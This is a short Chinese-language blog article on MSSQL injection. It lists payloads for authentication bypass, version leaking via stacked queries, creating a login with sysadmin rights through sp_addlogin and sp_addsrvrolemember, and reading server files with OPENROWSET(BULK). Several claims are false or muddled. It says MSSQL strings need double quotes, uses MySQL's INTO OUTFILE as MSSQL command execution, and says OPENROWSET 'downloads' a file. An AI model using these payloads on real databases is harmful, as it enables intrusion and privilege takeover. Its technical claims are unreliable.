一、mssql注入語句
mssql注入語句與常規的SQL注入語句略有不同。當我們使用單引號(’)將輸入的參數括起來時,將會出現語法錯誤。因此,我們需要使用雙引號(”)括起來。例如:
SELECT * FROM users WHERE name = "admin" AND password = "a' OR '1'='1"
這條語句將會返回所有用戶名為admin並且密碼符合該注入語句的用戶。
二、mssql報錯注入函數
mssql注入時,可以使用一些特殊的字元或者函數來觸發伺服器端的資料庫錯誤,從而獲取更多的信息。例如:
SELECT * FROM users WHERE id = xxx; SELECT @@version; SELECT @@servername;
通過以上例子,我們可以獲得系統版本和伺服器名等信息。
三、mssql注入執行命令
在mssql注入過程中,我們還可以執行系統命令。例如:
SELECT * FROM users INTO OUTFILE '/tmp/test.php';
這條語句將會將users表的數據導出到名為test.php的文件中。通過代碼執行這個文件,可以得到完整的系統訪問許可權。
四、mssql注入使用存儲擴展
用戶可以在mssql資料庫中創建存儲過程(Stored Procedure)來完成複雜操作,也可以通過存儲過程繞過常規的注入方法。例如:
EXEC sp_addlogin 'test', 'test';
EXEC sp_addsrvrolemember 'test', 'sysadmin';
通過執行以上代碼,我們可以創建一個名為test的賬戶,並為它賦予sysadmin的許可權,從而獲得系統訪問許可權。
五、mssql注入sa許可權
sa是mssql中最高許可權的用戶賬戶,擁有完全的資料庫管理許可權。當我們成功獲得sa賬戶的許可權時,我們就可以完全掌控資料庫了。
SELECT * FROM users WHERE name = 'admin' AND password LIKE '%password%' AND IS_SRVROLEMEMBER('sysadmin') = 1
以上注入代碼會返回sa賬戶信息。如果成功獲取到sa賬戶許可權,我們就可以執行所有許可權指令。
六、mssql注入讀文件
在mssql注入時,我們還可以通過查詢公共文件來讀取敏感數據。例如:
SELECT * FROM OPENROWSET(BULK 'C:\Windows\win.ini', SINGLE_BLOB) AS content;
以上代碼將從win.ini文件中讀取數據。
七、mssql注入下載文件
在mssql注入時,如果我們需要下載敏感文件,可以使用以下代碼:
SELECT * FROM OPENROWSET(BULK 'file:///C:/Windows/win.ini', SINGLE_BLOB) AS content;
以上代碼將win.ini文件下載到當前目錄下。
八、mssql注入查看系統用戶
在mssql注入時,我們可以通過以下代碼來查看系統所有用戶:
SELECT name FROM sys.syslogins;
以上代碼將返回所有系統用戶的用戶名。
原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/189144.html